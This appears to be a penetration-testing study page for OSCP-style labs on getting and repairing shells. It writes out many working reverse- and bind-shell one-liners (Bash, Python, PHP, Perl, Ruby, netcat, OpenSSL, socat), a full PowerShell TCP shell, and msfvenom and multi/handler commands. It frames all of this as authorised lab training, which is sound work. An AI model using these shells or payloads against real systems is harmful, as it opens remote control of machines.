← Complete task index · Workspace

Shells, Payloads and Session Repair

← Stage index | Public-exploit adaptation | File transfer | Payload obstacles | Shell cheatsheet | Strategy map | Study methods: Establish sessions and move files; Resolve payload execution obstacles

Goal: turn verified command execution into a session whose execution, transport and interaction properties are understood. Every command is a generic authorized-lab reference, not a target assignment.

Keep four states separate

delivery → execution → connection → usable session
StateDecisive evidenceDoes not yet prove
DeliveryExact bytes/request reached intended consumerPayload executed
ExecutionHarmless command output or controlled side effectNetwork callback works
ConnectionListener records the expected peerCommands and I/O are usable
SessionCommands return and host/identity are verifiedHigher privilege or stability

Do not change all four layers at once. Preserve the last confirmed state and test the next boundary.

Choose the access form

SituationPreferMain prerequisite / limitation
One bounded action is enoughDirect command executionObservable output or side effect; no shell required
Valid credential and remote serviceSSH, WinRM or RDPAuthentication plus remote-logon authorization
Target can reach KaliReverse shellTarget egress and a reachable Kali listener
Kali can reach a target listenerBind shellTarget can bind and inbound path permits it
Payload is staged or protocol-awareMatching framework handlerHandler must use the exact payload/transport

Prefer authenticated administrative access when it is already available: it is normally more stable, auditable and feature-complete than an improvised shell.

Map the callback before generating anything

trigger context
→ target process/interpreter and architecture
→ target source interface
→ route/egress controls
→ LHOST address visible from target
→ LPORT
→ local bind interface
→ listener/handler

Select LHOST from the target's point of view. A VPN address, tunnel endpoint or reachable interface may be correct while Kali's default-route address is wrong.

On Kali:

ip -brief address
ip route
ss -lntp

Windows source/listener checks:

Get-NetIPAddress -AddressFamily IPv4
Get-NetRoute -AddressFamily IPv4
Get-NetTCPConnection -State Listen

Listener baselines and Netcat variants

Traditional/OpenBSD-style nc commonly used on Kali:

rlwrap nc -lvnp LPORT

Nmap Ncat uses a positional listen port; do not mechanically copy every nc flag:

ncat -4 -lvn 0.0.0.0 LPORT

Verify the bind in another terminal:

ss -lntp | grep ':LPORT'

If multiple interfaces exist, bind deliberately:

ncat -4 -lvn LHOST LPORT

Failure cue: a listener bound only to 127.0.0.1, the wrong VPN/interface address or the wrong address family cannot receive the expected callback. “Address already in use” means another process owns the bind.

Prove command execution before requesting a shell

Linux:

id; hostname; pwd

Windows:

whoami & hostname & cd

For blind execution, use one bounded callback or file side effect that the current context can produce and you can independently observe. Do not interpret a hung HTTP request as proof of a shell; the server may simply be waiting on a child process or timeout.

Linux reverse-shell baselines

Choose an interpreter that you confirmed exists.

Bash TCP:

bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'

Python 3 with a PTY:

python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Portable FIFO plus Netcat when -e is absent:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f

PHP CLI:

php -r '$s=fsockopen("LHOST",LPORT);exec("/bin/sh -i <&3 >&3 2>&3");'
Variant — target has Ncat command execution

Linux:

ncat LHOST LPORT --exec /bin/sh

Windows:

ncat.exe LHOST LPORT --exec cmd.exe

--exec exposes the named program directly to the network connection. Use only on the assigned host and remove transferred tooling when the exercise requires cleanup.

Shell-language cue: a command injection may execute through /bin/sh, which does not understand every Bash construct. Wrap Bash-specific syntax in bash -c '...' and then encode it for the outer HTTP/template/database layer.

Windows session options

Prefer an available authenticated service:

evil-winrm -i TARGET -u USER -p 'PASSWORD'
xfreerdp /v:TARGET /u:'DOMAIN\USER' /p:'PASSWORD' /cert:ignore
ssh -p PORT USER@TARGET

PowerShell TCP shell when direct command execution is the only primitive:

$client = [Net.Sockets.TcpClient]::new('LHOST',LPORT)
$stream = $client.GetStream()
$buffer = New-Object byte[] 65535
while (($count = $stream.Read($buffer,0,$buffer.Length)) -gt 0) {
  $command = [Text.Encoding]::ASCII.GetString($buffer,0,$count)
  $output = (Invoke-Expression $command 2>&1 | Out-String) + "PS $((Get-Location).Path)> "
  $bytes = [Text.Encoding]::ASCII.GetBytes($output)
  $stream.Write($bytes,0,$bytes.Length)
  $stream.Flush()
}
$client.Close()

This is a basic command channel, not a ConPTY. Host policy, language mode, AMSI/antimalware, quoting and the parent process can affect it.

PowerShell -EncodedCommand solves nested quoting; it is not encryption or an AV bypass. Generate UTF-16LE Base64 locally:

$command = 'COMMAND'
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))
$encoded

Invoke in the target command context:

powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

Bind shells

Use a bind shell only when Kali can reach a target listener and reverse egress is unavailable.

Traditional Netcat with -e support on a Linux target:

nc -lvnp PORT -e /bin/sh

Connect from Kali:

nc -nv TARGET PORT

FIFO alternative when -e is absent:

rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp PORT >/tmp/f

Ncat target listener:

ncat -4 -lvn 0.0.0.0 PORT --exec /bin/sh

Bind shells expose a target port and may be blocked by the host firewall or upstream ACL. A successful local bind does not prove Kali can reach it.

Generate payloads after selecting context

List rather than guess names and formats:

msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

Stageless command-shell binaries:

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

Verify the resulting artifacts:

file shell.elf shell.exe
sha256sum shell.elf shell.exe

msfvenom does not make a payload compatible with the delivery path. Match target OS, process architecture, payload type, output format, available execution method and callback route.

Staged versus stageless

stageless: complete payload delivered at once; larger, usually simpler and more stable
staged: small first stage connects and retrieves the rest; smaller initial footprint, needs matching handler and second transfer

Metasploit naming commonly reflects the distinction:

windows/x64/shell_reverse_tcp   stageless
windows/x64/shell/reverse_tcp   staged

A raw Netcat listener can receive many ordinary stageless command shells. A staged payload normally needs multi/handler configured with the exact same payload:

msfconsole -q
use exploit/multi/handler
set payload PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
show options
run

A connection to Netcat with no usable commands can mean a staged payload reached a non-staging listener. It is not necessarily failed code execution.

Existing-PoC payload constraints

Only when an existing reviewed PoC documents payload space and bad characters:

msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' \
  -s MAX_SPACE

Encoders and repeated encoding do not guarantee antimalware evasion. -b is for bytes that the vulnerable input path cannot preserve; do not invent a universal bad-character list.

Diagnose quoting and encoding by layer

Write the parser chain explicitly:

HTTP/SQL/template parser
→ application language
→ command launcher (`system`, `cmd /c`, `/bin/sh -c`, PowerShell)
→ target shell/interpreter
→ payload command

Test each layer with a small command. Encode only for the layer that consumes the characters:

python3 -c 'import urllib.parse; print(urllib.parse.quote("COMMAND"))'

Typical failures:

  • &, |, >, <, $, backticks, quotes or spaces consumed by an outer shell;
  • URL decoding occurs zero, one or two times;
  • JSON, XML, SQL or template quoting changes the command;
  • PowerShell receives UTF-8 Base64 instead of required UTF-16LE;
  • payload length exceeds a field, command line or exploit buffer;
  • 32-bit payload is injected into a 64-bit context or the reverse.

Diagnose a missing callback in order

  1. Delivery: prove the request/file/argument reaches the intended consumer.
  2. Execution: prove id/whoami, hostname or a bounded side effect in the exact context.
  3. Parser: verify quoting, encoding, interpreter, working directory and length.
  4. Payload: confirm OS, architecture, format, staged/stageless type and dependencies.
  5. Listener: start it first and verify the bound address and port.
  6. Route: test target-to-listener reachability from the execution context.
  7. Security control: use concrete errors, quarantine, logs or process behavior.
  8. Session: repair TTY, buffering, encoding and job control after connection.

Target-side route checks where available:

nc -vz LHOST LPORT
curl -v --connect-timeout 5 http://LHOST:LPORT/
Test-NetConnection LHOST -Port LPORT -InformationLevel Detailed

Observe Kali while triggering:

sudo tcpdump -ni any tcp port LPORT

Interpretation:

ObservationNext decision
No SYN reaches KaliWrong execution, LHOST, route, egress or earlier parser layer
SYN arrives; no listener responseWrong bind/interface/port or local firewall
TCP handshake then immediate closePayload/handler mismatch, crash or security control
Connection stays but no commandsStaged/raw mismatch, buffering or I/O/session issue

Handle security-control evidence proportionately

Windows Defender status, when the current identity can query it:

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled

Do not label every failure “AV.” Differentiate:

  • file never arrived or hashes differ;
  • file arrived and disappeared/quarantined;
  • process creation was denied;
  • script content was blocked;
  • process started and exited/crashed;
  • callback was blocked after execution;
  • application-control or language-mode restrictions;
  • ordinary format, architecture, permission or dependency errors.

Prefer an already available native or authenticated route when it satisfies the objective. Encoding is transport representation, not proof of evasion. Custom shellcode development and deep AV-bypass work are outside this unit.

For MOTW/Office/Library-file delivery, execution-policy precedence, AMSI/AppLocker/Defender evidence and restricted Metasploit module/session handling, continue with payload execution obstacles.

Stabilize a Linux TTY

First obtain a PTY with an available interpreter:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Press Ctrl-Z locally, then:

stty raw -echo; fg

Back in the remote shell:

reset
export TERM=xterm-256color
stty rows 40 columns 120

If the local terminal becomes unreadable, restore it from a separate/local shell:

stty sane

Socat can provide a stronger PTY when present on both sides:

# Kali
socat file:$(tty),raw,echo=0 tcp-listen:LPORT,reuseaddr

# Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT

TTY repair changes terminal behavior, not privilege or network reliability. A PTY may enable job control and programs that require a terminal; it does not turn a fragile route into a stable one.

Verify every new session

Linux:

hostname; id; pwd
ip addr; ip route
ss -lntup

Windows:

hostname
whoami /all
cd
ipconfig /all
route print
netstat -ano

Record the destination host, actual identity, privilege, current directory, interfaces/routes, parent/execution context and the exact command that produced the session. Then re-enumerate from the new state.

Failure router

SymptomInterpretation / next action
Direct command failsRepair exploit/request/parser before payload work
Direct command succeeds, no SYNCorrect payload, LHOST, interpreter or egress
Listener absent/wrong bindBind before trigger and verify with ss
Connection to raw listener, no I/OCheck staged payload or buffering
Immediate disconnectCheck process crash, handler/payload match and exit behavior
Shell lacks job controlSpawn PTY and repair local terminal state
Arrow keys/control characters breakCorrect PTY, raw mode and TERM
Windows shell output is garbledCheck code page/encoding and payload channel
File vanishes after transferGather quarantine/security-control evidence
Works once, not againCheck single-use listener, service crash, cleanup and trigger state

Exam boundary

The current OSCP+ guide permits msfvenom and exploit/multi/handler against all targets, but Meterpreter and Metasploit Auxiliary/Exploit/Post modules become locked to one selected target. Metasploit pivoting is prohibited. AI chatbots are prohibited during the actual exam. Recheck the current guide before a mock or exam.

Powercat — Windows PowerShell shell transport

Use when a reviewed powercat.ps1 is available and the current PowerShell context permits it. Keep the listener and target connection direction explicit.

# Attacker: listener
nc -lvnp LPORT
# Target: load the local reviewed script and connect back
. .\powercat.ps1
powercat -c LHOST -p LPORT -e cmd.exe

Read: a connection is not yet an identity proof; run hostname/whoami in the resulting channel. Script-policy/AV/runtime failures → use the existing native transfer and shell alternatives. Powercat does not repair a missing callback route.

Sources: upstream 1.

Penelope or pwncat-cs — handle an existing shell and move files

Choose one handler when its basic session/transfer features fit your platform. pwncat-cs assumes Linux unless configured otherwise; these are not interchangeable names for every similarly named pwncat project.

# Basic reverse-shell listener with pwncat-cs
pwncat-cs -lp LPORT

# Alternative: open Penelope's current CLI help, then select its listener port
penelope --help
penelope -p LPORT

In pwncat-cs's local prompt, use only the operation needed:

download /REMOTE/FILE ./LOCAL_FILE
upload ./LOCAL_FILE /REMOTE/FILE
back

For Penelope, F12 detaches a PTY session to its menu; interact SESSION_ID returns to it. Verify uploaded bytes and the target identity after reconnecting. Optional modules can fetch/run additional tools or exploitation features; they are separate actions and are not part of this basic handler workflow.

Sources: upstream 1 · upstream 2.

Keep listeners and long-running checks in tmux

Use on your own attack workstation to retain a working listener or pspy view while switching terminals. A tmux pane is not a second target shell unless you create/connect one.

tmux new-session -s oscp
tmux list-sessions
tmux attach-session -t oscp

# Capture existing pane history from another terminal; not a full session recorder
tmux capture-pane -p -S - -t oscp:0.0 > pane-history.txt

Within tmux: Ctrl-b then d detaches; Ctrl-b then c creates a window; Ctrl-b then w selects one. Read: scrollback capture only contains retained history. Continue saving raw scanner/tool output and proof explicitly rather than relying on terminal history alone.

Sources: upstream 1.

ASPX handler check before generating a Windows payload

Use only when you can place a file at a path served by an ASP.NET handler. A static upload on IIS, classic ASP, PHP or ASP.NET Core does not automatically execute ASPX pages.

<%@ Page Language="C#" %>
<% Response.Write(System.Security.Principal.WindowsIdentity.GetCurrent().Name); %>

Save as a uniquely named test ASPX file, upload through the verified write primitive, then request its actual stored URL:

curl -i http://TARGET:PORT/ACTUAL_PATH/probe.aspx

Read: the process identity, rather than literal source or a file download, verifies server-side handling. Then use the matching ASPX/Windows payload generation already covered here, with the correct runtime/architecture and return route. Delete the test artifact after validation.

Sources: upstream 1.

Shell alternatives when the installed runtime changes

Choose one matching the actual target runtime and a reachable listener. These alternatives retain the current execution identity; they do not create privilege by themselves.

# Attacker
nc -lvnp LPORT

# Target: BusyBox build with the optional nc -e feature
busybox nc -e /bin/sh LHOST LPORT

# Target: Perl with Socket support
perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,"<&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# Target: Ruby with its socket library
ruby -rsocket -e 's=TCPSocket.new("LHOST",LPORT);exec("/bin/sh","-i",in:s,out:s,err:s)'

Read: check hostname/id after connecting, then use the existing PTY stabilization steps. Missing runtime, unsupported BusyBox options or a blocked return path → choose a supported transport instead of repeatedly changing the shell command. A noninteractive process can execute correctly while lacking a terminal.

Sources: upstream 1 · upstream 2 · upstream 3.

OpenSSL transport when a TLS callback is useful

Use when OpenSSL exists on both ends and the actual route permits the chosen listener. TLS is a transport choice, not a fix for an unreachable destination.

# Attacker: create a short-lived local test certificate, then listen
openssl req -x509 -newkey rsa:2048 -nodes -days 1 \
  -subj '/CN=listener' -keyout listener.key -out listener.crt
openssl s_server -quiet -accept LPORT -cert listener.crt -key listener.key

# Target: connect a shell through the FIFO and TLS client
mkfifo /tmp/shell-pipe
/bin/sh -i < /tmp/shell-pipe 2>&1 | \
  openssl s_client -quiet -connect LHOST:LPORT > /tmp/shell-pipe

Read: verify the session identity and preserve the working channel. This example does not authenticate the listener certificate. A TLS handshake failure, a refused socket and a missing shell are different failures. Use a unique writable FIFO path and remove the test pipe after the session.

Sources: upstream 1 · upstream 2.

Sources